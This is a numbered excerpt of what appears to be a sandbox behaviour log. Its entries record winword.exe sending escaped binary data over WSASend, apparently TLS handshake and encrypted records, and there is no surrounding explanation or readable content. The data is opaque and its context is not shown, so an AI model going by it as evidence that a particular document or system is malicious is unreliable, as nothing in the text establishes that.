  404. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0b\\xec|\\xc4\\x8f\\xc7\\xc8l\\x0b\\xb6\\xcc\\xc2\\xd8\\xd8\\x12b\\xe06\\x19m\\x03:\\xc0\\x99\\xb7?\\xafdh\\xden\\xc8q\\xccced\\xf3a\\xaf\\x1a\\xd1\\x97\\xb6kj0iv\\x12\\xb4\\xcac f\\xac\\x10z\\x9a\\x19?e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83n\\x8fhq\\xc2\\x8aby\\xaf\\xe0\\xd2+\\x88\\x1e\\xf3\\xb7\\xc7\\xe8\\xe4\\xcf;\\xa8\\xd9\\xe7\\xb5\\xd9\\x93\\xbck\\x8f\\xa2d\\xfa\\xd1\\xc3\\\\xd4\\x91\\xedw.\\xbd\\x9e"
  405.  
  406.  
  407. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04^\t\\xec\\xa6\\xd4`\\xf0+|c\\x89\\x19om\\xfbo\\x1b0(,\\x04t\\x1e\\x16\\xd8\\xce*y*c\\x05\\xcc3m\\x06x\\x87\\x86(fs;a\\x12>\\x8b\\xb9\\xef&\\xa0\\x98^t\\xb4p\\x96\\xfe\ns\\xc1\\x0b\\x1a\\x16\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xad\\xf9\\xfb\\xe9\\x12\\xe6\ti\\xc8_\\x84=\\xe7\\x07d\\x9f\\xa8\\x11\\xf0\\x8aw\\x9b\\xb3\\xb7fu\\xd1\t&\\xf8\\xbf$t\\xf8zz\\xa9i%\\xb12\\xf2\\x8f\\x1c\\xb4\\xbf"
  408.  
  409.  
  410. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x90c\\xc4\\xab#&\\x1c\\xfa\\x90\\x87\\x07\\xe6\\xca\\x7f\r)6\\xe2\\xc6nwm\\xd9z\\x1e\\xf9\\x1b)\\x19k\\xd0\\xa8\\x7fq\\xcb\\x8d\\xcbu\\xe3\\xf3\\xff\\xf7\\xbf\\xdf\\x99\\xb51\\x08>\\xe4.\\x1a\\x1e\\xb2\\xaf~\\xea\n\\x1c\\xdc\\xdae\\xe2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3_\\x92\\x81\\x8c\\xc1\\x82(vu\\x86\\xb9?q\\xa5\\xfc\\x954\\xb6\\xa6\\x8a\\xc0\\xa5\\xc0\\x7f\\xed\\xa3\\xd7%m\\xf4\\xa2\\x84\\xf2\\x84\\xb0\\x8e~\\xbd\\xf2\"\\x03~g\\x1b\\x10\\xae\\x03"
  411.  
  412.  
  413. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbd\\x9b\\x95f\\xa1\\xc4\\x10\\xbd\\x19~'jt >\\xb9\\xe2\\x13\\xee\\x1ev;\\x88\\xa9\\xf7\\xac\\xa0\\xbdmu\\xec\\x903e\\xc4`\\xb9\\xc6!\\x91+\\xdd\\xec\\xbe+'\\xf05\\x9d\\xf4\\x1b\\x1d\\x939\\xb0\\x8a\\xc6\\xc1\\xc0\\xc2\\x1as\\x0f\\xb4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa3d\\x0cj\\x19~\\xf5\\xf1\\xf7\\xd46zc\\xa7\\xe4v\\xad\\xa9\\x16\\x12l\\xaa\\xd0i\\xbbo\\x94d\\xa5\\x08\\xee,u\\xc2\\xe6\\x03\\xc4sn\\x0fd\\x06v\\x1ad\\xc2hh"
  414.  
  415.  
  416. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15\\xb8\\xc6\\xc8),\\x01\\xf5\\x859%ul\\xf68!\\xad\\x12\\xa9\\x84dmdsp\\xf9a\\x07\\xe3~\\xc7r\\x11\\xf3\\x12\t\\x11&\\x05\\xaa\\x18`\\x0f66\\xa6_\\xd3\"\\x0bxy\\x06w\\x1aco\\xff\\xdav\\xcc\\xeb\\xad\\xc4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xd5\\xbb\\x81\\xfa\\xf1\\i\\xa3\\xfe0\\x86)\\x8b\\x96\\x85o\\x1a\\xb4\\x1b<;\\x8b\\xf4\\xe7\\x959\\xf4z\\x16p\\x1f\\x99\\xcfi\\xd3\\xe5^\\x0b\\x7f;\\xa8\\x8b_u\\x11r\\xdb"
  417.  
  418.  
  419. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x06\\xfci\\xbai\\xb5\\x0b\\xe9\\xfed\\xdf.7.\\xe1\\xd7\\xa5\\xcami\\xd0r\\xca\\xc4^\\xefk\\xf4`v\\xa0ww\\x01\\x8aal\\x92\\xee\\x03\\x12\\x10\r\\xc5\\xd7\\xddy\\x856\\xca\\xe3\\x1do\\xf9c\\xb6\\xd2z\\x7f&\\x055e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8f7hns\\x19d\\xbd\\xe1\\xb8\\xc4\\xfc\\xbf\\xce\\xf1\\xd3\\xf2\\xd3$\\x98c\\xe1r/\\x158\\xdd\\x99\\x18so\\xfe\\xd7\\xf6\\xa6\\xc0\\x94.u\\xb3\\xc9\\xf2xtzg\\xdd\\xe9"
  420.  
  421.  
  422. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x93~\\x9d\\x1b\\xc1n\\xb7\\x1c\\xf4\\xb5h\\xc4\\x98i\\xbc\\xe1\\x1c\\xa04\\x88\\x83\\x92\\xf8\\x8f\\x07h\\xba\\xf3\\xc1w\\xd2\\x80\\x1c\\xf13a2\\xca_h\\xb6\\x8a\\x89\\xde\\xabg\\x83\\x9epofd\\x02\\x0b\"\\xe1\\xcf8\\xd3\\x86\\x01uwj\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf3\\x1d\\x81\\xb0\\xa8\\x93:a\\x94q\\xae<nw \\x9b\\x9e\\xc5=\\x89\\xdd\\xd4\\x92\\x8e!x\n\\xc7\\x1f7<rg\\x9a\\xac\\xe3\\xc1\\xacl\\xcf9.\\xaaw\\xdb*\\x8b"
  423.  
  424.  
  425. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x07w\\x7f\\xad\\xc8\\x14lyd\\xbf7\\x98\\xe3\\xc518u\\xef8\\xcf\\x1e\\xeaj\\xa5h\\xf4\\x82\\x11hfo\\xf5a\\x19\\x95\\x0b\\xd1(\\x9b\\xf87\\x17\\xd0\\xa9\\xce\n\\xef\\xd5-af\\xf8\\x06g\\xf1\\xbeu\\xaf\\xdcd\\x1a\\x9c\\x05\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd9\\x06\\xde\\xdc\\x11\\x85\\xec;\n\\xb7\\xcf\\xe3\\xdb\\xc0jm\\xc5\\x9d\\x85\\x05\\x8d\\x98?\\x99<=<\\xb1\\x83)6b\\x8e\\x87\\x07\\x8b\\xdd\\x1b\\x1f\\x89\\xf5\\x10\\xcc<db\\x1fi"
  426.  
  427.  
  428. "http_request": "winword.exe_WSASend_\\x92\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1e\\xc7\\x12\\xbc\\xbeu\\xc5i\\xcb\\x80\\xa5e\\x99%\\xd4d\\xdf\\xca,>3q\\xca\\xd0\\xff1\n\\xe1v\\xb3.\\xe4q\\x8f\\xb7\\x14\\xd7\\xd1\\xf2y\\x1b\\xe4r8\\x9a/\\x81\\xc3o\\x89\\xc5~\\x17\\xff\\x80;\\x00\\xca\\xa0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000d\\xa7^1\\x90\\xc8f*\\xa8\\xbe\\xb3t\\xb9sq\\x1cc\\xc9h\\xb3g\\xcb\\xd8\\x1a\\xabh\\xcc;\\xf5\\x85\\xd7\\xfc\\xea\\xb9\\xfc\\xa2\\x97a!\\xcd\\x1a\\xbf\\xd8\r\\xac\\xda\\x88t"
  429.  
  430.  
  431. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc0\\xf8(\\xef\\x85r\\xef\\xe3kc\\xcc\\xf1\\xce\\x17mb.\\x1d\\xa7\\x05i1\\x14\\xbc\\xfft\\xd2p\r\\xf0r\t\\x99\\xf4\\xf1\\x86\\xb8\\xff\\xb6@\\xaa,b\\xb1o\\xb0w\\x0bi\\x1flqa\\x0c\"v\\xe3\\x9ehr\\xa6\\xe6\\x8a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb5x\\x9b\\x07+|3\\xff|\\xe2\\x9et\\xfaxs\\xb8o\\xbd(e\\xbb4\\x00m\\xbe\\xbc+\\xca\\x99\\xafo\\xa6i(\r;0\\xa0\\xab\\xe7\\x8b/~\\x8e\\xa2\\x98\\x84"
  432.  
  433.  
  434. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x044\\x9d\\xf2x\\x89\\x19p/\\xb2\\xec\\xef\\xb0a\\xb9\\x07!\\xa1\\xb6\\xf1\\x8b\\x1e\\xea\\x8b\\xd6\\x07\\x1dm\\x7f\\xc3/\\xec\\xa3\\x0c\\x05my\\x875umd\\xbd\\xf3\\x00\\xc5\\x1a\\x8d\\xd7d\\xf7mo\\xdf\\xed9\\xf7\\xbe\\xddan\\x7f-/\\xa9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xde\\x8fte\\xc8\\xd4!\\xb8o:y\\xde\\xe8\\x95\\x16x\\x1e\\xa5j\\x8a\\xf7\\x86\\xf5v\\xbc\\xb88p\\xd71\\x9d\\xce\\xc9\\xde\\xbb\\xb1\\xbd\\x1a\\x95.\\xaf\\xcb\\xb4\\xaf\\xd5\\xed"
  435.  
  436.  
  437. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1c\\xc6\\xcb9q\\xdb\\xd0\\xc4\\x02\\xb1\\x88m\\xb58\\x80\\xd1\\xb4\\x01\\xb9\\xd3\\xf7\\xa9\\xd5\t\\xf3\\xda\\x95\\x80\\x88\\xcc\\xb8\\x01\\xb5\\x93x\\xe5\\xe6\\xca\\x0c\\x1d#\\xda\\xcb\\xc6_\\xd2\\xc1uo\\xed\\xec\\xc93\\xfe\\xe3hg+\\x9c\\x9e\\xb7\\xe4\\xe2\\x9a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008\\x1f\\xf7%t\\x8a\\xb3\\xf1\\x07\\xc8^\\xe1'\\xaa\\x07\\x98o\\xb8<\\xf3\\xfc\\xba \\xf0\\xf9\\xfa\\xc2\\x8f\\x0b\\x8e\\x1fyk\\xeey_'\\xf5\\xa3z\\xaa\\xa8\\x11\\xb7\\xbd;=\n"
  438.  
  439.  
  440. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\xeb\\xa5\\x91v\\x1b\\x99a\\xd0\\xf0\\x9b\\x9b\\x97\\x0c\\x8f)^\\xd2=\\s\r\\xe8h\\xb9^\\xe1\\x81q\\xff\\xf0\\xb8\\xd25\\x14\\xf8\\x07\\xae)1\\x07\\x80c\\x90q\\xc2k\\xbff\\x0e\\xden_\\x9b\\xb1\\x8c\\xf5l\\xab\\xf6l\\xc2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92s\\xff\"\\x83\\xdeq\\x9b?h1\\xa7\n\\xf8l\\xe5\\x06\\xeej\\xd08\\x05\\xa2\\xd1\\xd56\\x17\\x7f\\xfa\\x1a\\x9b>\\x95\\xdeh\\xb0\\xe0\\xf8\\xc6\\xf3\\x9d5\\xba\\x89\\xbc\\xf17\\xb0"
  441.  
  442.  
  443. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04|u\\x1a\\xdc\\xcci\\x9emx\r\\xfd\\x06\\x95|yv\\xdb\\xbfhi\\xc33?'\\\\xd7\\xa6\\xe0\\x9d\\x9d\\x1e\\xe4u\\x89l\\x1dv\\x910\\xd2\\x8b\\x18\\x0e\\x9f\\x88\\xc6-\\x8aie2i\\x11\\xf4x\\x00\\xf9g\\xd9\\xbe:s\\xbc\\xb7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92d\\x08f\\xbf\\xba\\xcd%\\x1b\\x83\\xb1 b\\xcfz\rz2\\x16\\x15\\xeap.\\xfe\\xd9b\\xd3\\xbd=\\xad\\x9es\\x01e\\x95\\x0b\\x1c3\\xdb\\xefb\\xa7\\xaf-u\\xfa\\xf2="
  444.  
  445.  
  446. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xea\\x02<<aa\\x01\\xdcm\\x7f\\x1d\\xbd-r\\xfan\\xab\\x1d\\x10\\xf53\\x1a\\xf0\\x8f\\xe6c(n\\x06\\x00\\x85w\\xee\\xc4\\x11\\x0f\\xf55\\x9e\\xf4?\\xcf\\xb2^v\\x0fi\\x9c\\xf2\\x876\\x02\\xcf2(\\xaf\\xca\\xf2\\x94n\\x9dxw\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000oyv\\x9bn\\xa6i\\xde\\x8a^\\xaf\\xe09\\xeb\\x04\\x1e\\x9fu;\\xfb\\xe7\\x07-\\xbb\\x17iv\\xf3w\\xe6\\xb4v\\xad\\x17a\\xeb@\\xfe\"f\\x95\\xff\\xbe\\xddlh\\xcc\\xc9"
  447.  
  448.  
  449. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04c\\xdbsyh\\x03\\x89\\xc5\\xdfx\\x1c7\\xe3\\x8d\\xe5\r\\xf0\\xa4m\\xab\\xae&\\x1exf!\\xc5m\\xae\\xfcau\\xcd\\xa2\\xc3\\x1e\\xce0\\x9ai\\xe4\\xe2\\xc7i\\x18\\xd9\\x1c\\xd3y\\xfb)\\xa2\\x8c\\xb5p\\xf5(\\xf9\\x8a$y\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd6\\xaf<pj\\x12\\xc7,+\\xc3\\xb7\\x82\\x91\\xf9\\x00o\\x07\\xc9\\xbc+\\xd9r\\xaf\\xd3\\xe9\\x9e\\xfe\\x83\\xdb\\xa8\\xf3n\\xee\\x070\\xaf\\xf5e\\w\\xcfw\\x02h\\xd5o\\x84r"
  450.  
  451.  
  452. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9e\\xb3\\x82\\x90\\xd8\\xc5n\\xf4\\x88<\\x06s/\\x00)\\xb5-\n*\\x1c\\x83\\xbc/\\x0f\\xa1\\xe5\\xe1-\\xaey_x\\x88\\x04\\x95\\x04\\x863o\\xb3h+\\xd4\\x0c\\x03e\\x9c)\\x85\\xbd\\xa5\\xf7t/yr\\xa7\\xb5\\x9b\\xeb.\\x81\\xc3\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x84|<\\x9a\\xb4\\x1e\\xa8\\x1cx\\xe1=fh\\\\x8as\\x0c\\xc5h\\xa2\\x8d\\x11q\\x95\\xdf\\xb7_b\\xf2xor@\\x1dl.\\xbb\\x8d\\xf0\\x910k\\xa6\\xbfbu\\x9d\\xb1"
  453.  
  454.  
  455. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xaa\\xd7\\x12 \\xca8\\x82g\\xa3c\\xf44h.!\\x12\\x06zg\\xf2d\\xa8\\xd2\\xf91\\xa2\\xaf\\xe1\\xb9\\xa7\\xf4\\\\xe5\\xd5\\x8bw\\xbc\\xfd;\\xc4\\xaeo\\xe7%\\xb0y`\\xd8\\xbd&\\xe6\\x0eh\\xd9\\xfc\\x9c\\xec|\\xad\\xf7q\\xdbw\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x06\\xf3\\xe8_\\x96\\x05%\\xe9d+\\x06\\xa1e9j\\x15i\\xe02\\xe7f=\\xcc\\xd2\\9\\xa27k\\xa2\\x94w\\xed\\x16k\\xd8\\xb4\\x82)\\x84f\\x9d\\x16\\xdd\\xbc\\x84r\\x06"
  456.  
  457.  
  458. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\"df`\\xd5\\xa1v\\xa3+\\xbbg\\x85\\xbeens\\x95\\xf9m\\xe3\\xc8\\xe1\\x00ohi\\xebp\\x7f\\x05\\xe3q3~\\xd1\\x8f/\\xc6\\x0b\\x86u\\x8d\\xc0\\\\xb7~g\\x04rm\\xe4\\xf0\\xbdut<\\x91:\"\\xf2\\xf6\\x8c\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000#\\xf2\\x81\\xea\\x12\\x9a\\xd5\\x8f\\xd9\\xe2!d\\x14\\xb1\\x83\"\\xc6\\xcb\\xb1\\x84y\\xc9yz\\x1a\\xf1ve\\xb1\\xd8\\xbb\\xeepe\\xd6d\\xd3\\x0c\\xd1\\x9b\\xb0\\x17\\x0c\\x9ek\\xc56a"
  459.  
  460.  
  461. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x95\\xbf\\xc1\\xe82\\xc7\\xf8\\xa8w\\xf47w\\xca\\x8e`)\\xdd\\x875\\x9a\\xc3w\\xdf\\x14\\xc3\\xfc\\xa1\\xea\\x94w\\xf76\\x13\t\\x82y\\xf3\\xa7\\xd5\\xff\\xc1\\xbf\\xfb4@\\xd7\\xdd\\x1aq\\xec%\\xd3\\xec\\xe4\\x8c|\\xb4\\xf7\\x92\\x01\\xa4\\x1f\\xddq\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd9_'\\xca\\x89\\xd2\\xd1\\x87\\xad1\\x1e:\\x97\\xe4^\\x02\\x9dy\\xac\\xe7\\xe0q\\x7fv\\x84\\xf2p\\xd1\\x86k\\x003\\x90$2e3sr\\x0f+\\xc4\\xd9\\xaaz(\\xcb"
  462.  
  463.  
  464. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb7\\xbc\\xa1\\xb0\\xa84\\x14-\\xa66\\xeb!\\x0c\\xd9\\x13\\x934dk&i\\x9d\\xa7\\xf9\\xbd\\xdda\\x14\\xe3u\\xf8~\\xb91\\x0ec\\x12\\x07b\\x9e\\x82\tt\\xc2i0\\x10=b\\xd2\\xc5\\xbb\\xa6f97&\\x00\\x1f&\\xf9x\\x181\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1\\xe8\\x1d\\xe0\\x18\\x05\\xa1y\\xd9\\xaf\\xe7\\xc0\\x82\\xa4\\x0f\\xe6\\x18t-f\\x05\\xc1\\x97\\xa1\\x0c\\x10z(\\xa0\\x82\\xce\\x9e\\x8de\\xfb4\\xe1\\x87\\x88\\xee%m\\xcc\\x90\\xc7\\x9c\\x84"
  465.  
  466.  
  467. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04rg\\xad\\xff\\xf0\\x0c\\xbd\\x17\\xb8q\\xf4\\xdd\\x8a\\x13'\\xf2\\xed\\x08\\x1c\\xc6\\xa7\\x82s\\xa8\\z\\xa3@.\\x89\\xbc\r0\\xda\\x0e\\x04\\xb2\\xe3d\\x110>\\xc0\\xd9\\xcb\\xfd\\xe8j$\\xd0|o\\xf7\\x0f\\x93\\x030\\xe7;c\\x02\\xbd\\xde\n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb1\\xeb\\x11\\xd8\\xfa\\xac\\xdf\\xef\\xf9\\x15h\\xda\\xbc\\x89x)\\xc057\\x99\\x02\\x96\\xaf\\xc6x\\x8f/a\\xae6\\x90\\xc9\\xads1!m~\\x1a\\xd2\\xa9x\\x8d\\xc9p\\xdfc"
  468.  
  469.  
  470. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc4\\x95\\xbb\\xd2\\x16\\xba\\xe4f5ns\\xbf\\x03\\x9c;\\x1c\\xa0\\x17\\xaa\\xe9\\x8d\\xdd\\xaav\\xad\\x02a9\\xc3\\x812\\x9b\\xc7\\xa038_\\x9ck-\\xa6*\\x9f\\xa3\\xf1g\"\\x15x\\xce*\\xc2\\xd3\\xc8\\xea\\xbe\\x98\\x02r@\\x99\\x88j\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000>\\x9di\\x86\\x1au\\xed=hh\\xf7g\\xbcj\\x96\\xeei\\xf2\\x7f\\xad8\\xef\\x12\\x0fi\\x89=\\x01\\xe3\\xd9\\x8fnb2\\x10\\xe7=\\xb1\\x88\\x167\\xd3\\xd0ci\\x05\\xb5"
  471.  
  472.  
  473. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x90ac\\x16\\xa41\\x85\\xed2\\xaf\\x9a\\x0e\\xbc@f\\xe4\\xdd\\xa6\\x0bb\\xb9\\xc4\\xee\\x0f\\xc3\\xc0\\xbc2e\\xa0\\xee\\xf6#\\x7f7suc\\x8a\\xae\\xc4^\\x8ac\\x8e\\xca\\xda\\xa6\\x0b@\\x14p'c)\\x008\\xf2k\\xa3\\x1bj\\x12\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9bba\\xb5c\\x8d\\xe5\\xd0+\\x15t.\\xa4\\xc1\\x82\\x8c9ke\\x81\\xeb\\x84\\x8e\\xb2\"\\xf7@\\xc1\\x80\\xb2ct<q\\xb3\\x92\\xd4\\xbe\\xa3\\x81\\x80?z\\x9c\\xed\\x96c\\xe6"
  474.  
  475.  
  476. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045\\xdb\\x03\\xb5)\\xb1k\\xd3\\xc5f%\\\\x95_\\x12\\xfcf\\xe0\\xd5\\x11g\\x05\\xea\\xc4\\xca\\xd7\\x02g\\x1d\\xf5`\\xaagzk\\x90\\x16\\xdb\\xa6z\\xb9\\x1a\\xfd|qm\\xb2\\xc8'u\\xe7\\xe5e\\x86tl\\xdd\\x05\\xc1\\\\xedb\\x7f\\xe3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z8\\xeb\\x1f\\\\xaa\\x1c\\xbb\\x0f\\xce\\xdb\\xf6\\x9b\\x90\\x93\\xd5vt\\xb3/\\x00<\\xa1q\\x10\\x99\\x13\\xe6jq\\xac\\xea\\xeb\\x85\\xfa\\xe6\\x94h\\x89\\x8c\\xc1\\x1d-\\x88\\xb2s\\x9d"
  477.  
  478.  
  479. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x11\\x9ehe\\x91\\x86\\xda\\xebg\\x18>\\x81\\x1a\\xc7\\x94r\\xde\\xbaj+\\xcf1i\\x9dv\\xd6\\xa9\\x92\\xc3-\\xee-\\xbb\\xef~\\xa7\\xb6\\x13=g\\ne\\xa0\\xb1\\xae\\x88?/h\\xb1lf\\x1b\\xde\\xa8\\x9b\\xa8\\xa16\\x88\\xc7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xea\\xd9\\x1dr \\x1d\\\\x84\\xfd\\xff\\xa5\\x82\\x86\\x80\\x83\\xcf\\xac_\\xf7\\x1b4\\xbc`:u\\xbc\\xa5\\x8c\\xd7\\x81\\xa7\\xb3\\xc6j\\x97\\x1b\\x95\\xad\r\"\\xbdmv&\\xb5\\xd7\\xce\\x86"
  480.  
  481.  
  482. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb1\\x8ci\\xf6\\x10\\xa7'bi\\xe6\\x1epz\\xdd5~\\x82\\xcf\\xa1\\xafm\\xdd\\x8d\\x14\\xa2\\xf0_\\xf1\\x02_x\\x96\\x8dh\ne\\xee~3\ty\\xf2s\\x19\\xfd\\xbb/\\x90\\x08_l3m\\xeb\\x13\\xb4y\\x06t\\x85dv\\x0c+\\xac\\xda\\xa2\\x042\\xadtt\\xb4j\\x05\\xb9\\xf0d\\xd0\\xd2|ua\\x0f\\xcb\\x91\\xc2&?\\xecz\\xf4q\\x1c\\xc3kj\\x85\\xaag\\xff\\xec\\x92\\xdb(\\xba\\xb6\\x9d\\x02\\xe8t:\\xff\r\\xc7\\xa9\\x89\\x89u\\xf6\\x0f=w\\xf1\\x8f\\xe6\\xf3\\x03z\\x11\\xe7\\x0c\\x1a\\xa7\\x12\\xc6\\xae\\x19\\x11\\xf9\\xfd\\x7f`\\xbcp\\xe7\\x97c\\xd82\\xc4\\xc5\\xce\\xda\\xf1\\xd1\\xd9\\xf11\\xea\\xb4\\x8c\\xd8z\\x17\\x96(\\xea\t\\xb0!\\x06\\xed\\x1a%\\xf0\\xee\\x1d\\xa84\\x88\\xdax\\x12\\xf1\\xdd\\xf1\\x08\\xd2\\xcd\\x8a\\xc4\\x84=\\xae\\x0b\\xd2\\xd6\\x9a\\xbb*\\xdded\\xd6m\\x042\\xd8u\\xba\\xc1~\\x0e\\xb4\\x0f\\x19\\x13^\n\\x10\\x92\\x8b\\xb4\\xd1\\x06\\x1b\\x96\\x9f\\xd0vy\\x90\\x81w\\xec\\x95\\xce2q\\x00(\\xfcsy\\x9d"
  483.  
  484.  
  485. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfc\\xfc\\xc5\\xb0\\xd8\\x14m\\x11\\xfb\\xbe_\\x05\\xf4\\xf0\\xcd\\xb4i\\xf3n\\xbb\\xd473\\xc9o\\xcc\\x9d\\xc2\\x01!\\xa5as~q\\x8fr\\xa1\\xc4p\\xe1*\\xf1\\x8e-\\xb5k\\x1cbt\\xf7\\xc0\\x1c\\xb4\\xf5\\x1e\\x99c\\x87<\\xcf\\xc8\\x18\\xae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a*\\x86\tj\\x01\\x9f\\@\\xc4\\xc1=\\x94dz\\x9e+\\x13\\x19\\xdeu\\x8b*#\\x9c\\x18j\\xba~\\xe4ef\\xb7\\xb6\\x15x\\x00'j\\xcc\\x84\\xcb\\xb3\\xc6\\xc0\\xdc`?"
  486.  
  487.  
  488. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xea\\x0b*dl\\xbf\\xff\\x9ezfx\\x0c\\xf1\\x97f\\xb9\\\\xd0q\\xb2\\xdb\\xd3'lqu\\x90a\\xc85\\xbc\\xb9\\xd2 \\xe3\\xb6\\xfc)\\xb5\\xa1\\x9a\\xdd\\x04.\\x15\\x00\\xc5aa\\x8d\\xcc\\xe0\\x02\\xc6\\x88\\xf4`4\\xbed\\x86\\x9f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfdm\\x07\\xe1ii\\xbd\\x9f\\xa5:u\\xc6\\xfc\\x94!\\xba\\xcd\\x96\\xd5\"\\x9d\\x82\\xa9\\xcc\\xf6q%\\x112\\xbc\\xf6\\xb9,\\x9d\\xb3i\\xd3\\x98\\x05l\\x9b,j\\x87\\xb8\\xf9~\\xe6"
  489.  
  490.  
  491. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9\\xc0cv\\xad\\xf6\\x92g\\x0b\\x81s\\x1c\r\\xeb\\x06\\xae\\xe6y\\xe8y\\xab_\\xf2a\\xd6\\x9d>\\xe1\\xe5\\x82\\x07\\x95\\x9e\\\\xf9zl\\x7f\\x94\\x8c\\x06\\x9bg)\n7\\xcd\\x99\\x0e\\xff\\x03\\xe80\"\\x1b-,\\x11\\xcc\\x9a\\xb1\\xd0\\xb6\\xc2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:lny\\x93q\\xb8a\\xa3\\x0e7a\\xb3\\xeb\"\\x0b\\xb9\\xee\\xb5a\ruu\\xab\\xa5\\xcb\\xc6\\\\x90!\\xfbu\\xe0\\xea\\x93\\x8a\\xd1\\xba\\x01\\x1d\\xa2\\x9e=\\xd1\\x03\\xe7\\xff"
  492.  
  493.  
